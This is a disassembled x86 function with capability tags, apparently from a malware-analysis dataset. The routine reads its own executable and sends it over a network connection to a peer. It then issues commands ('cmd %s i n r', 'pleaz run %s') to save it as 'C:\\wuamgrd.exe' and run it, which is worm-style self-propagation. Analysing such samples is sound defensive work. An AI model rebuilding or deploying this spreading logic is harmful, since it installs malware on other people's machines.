Function at 0x4133cc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x664
mov dword [ebp - 0x638], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0x63c], 0
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x530]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov edx, dword [0x44edcc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x441868
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call edx
sub esp, 0x10
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov edx, dword [0x44edd4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call edx
sub esp, 0x10
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, 5
jbe 0x4134f0
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
sub eax, 2
mov byte [ebp + eax - 0x42c], 0
mov dword [esp + 4], 0xa0d
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strrchr
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4134f0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x638], eax
mov dword [esp + 4], 0x441870
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x20], eax
mov dword [esp + 4], str.ver1.5
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41352a
mov dword [ebp - 0x18], 1
mov dword [esp + 8], str.wuamgrd.exe
mov dword [esp + 4], str.C:_s
lea eax, [ebp - 0x634]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x638]
test eax, eax
je 0x41355a
mov eax, dword [ebp - 0x638]
jmp 0x41355f
mov eax, 0x387
mov dword [ebp - 0x638], eax
mov eax, dword [ebp - 0x638]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004059a8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
sete al
test al, al
jne 0x413917
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x530]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
sete al
test al, al
jne 0x41391a
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 0
je 0x41362b
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x634]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd_003__s_i_n_r
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x41364b
lea eax, [ebp - 0x634]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_r1
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov edx, dword [0x44edd4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 0x10
test eax, eax
setle al
test al, al
jne 0x41391d
cmp dword [ebp - 0x14], 0
je 0x4137f5
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jbe 0x4136ee
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x63c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov edx, dword [0x44edcc]
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4137a1
mov eax, dword [0x44eda0]
call eax
cmp eax, 0x2733
setne al
test al, al
jne 0x413920
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 0
jne 0x4137e3
mov edx, dword [0x44edd4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 0x10
test eax, eax
jg 0x4137e3
mov eax, 1
jmp 0x4137e8
mov eax, 0
test al, al
jne 0x413923
jmp 0x4136b8
cmp dword [ebp - 0x28], 0xffffffff
je 0x41380b
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov edx, dword [0x44ee04]
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 4
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x634]
mov dword [esp + 8], eax
mov dword [esp + 4], str.pleaz_run_s
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov edx, dword [0x44edd4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x42c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 0x10
test eax, eax
setle al
test al, al
jne 0x413926
mov dword [esp + 4], str.pleaz_run_done
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x413929
mov dword [esp], 0xfa0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov edx, dword [0x44ee04]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, 1
jmp 0x413951
nop
jmp 0x41392a
nop
jmp 0x41392a
nop
jmp 0x41392a
nop
jmp 0x41392a
nop
jmp 0x41392a
nop
jmp 0x41392a
nop
mov edx, dword [0x44ee04]
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 4
mov edx, dword [0x44ee04]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret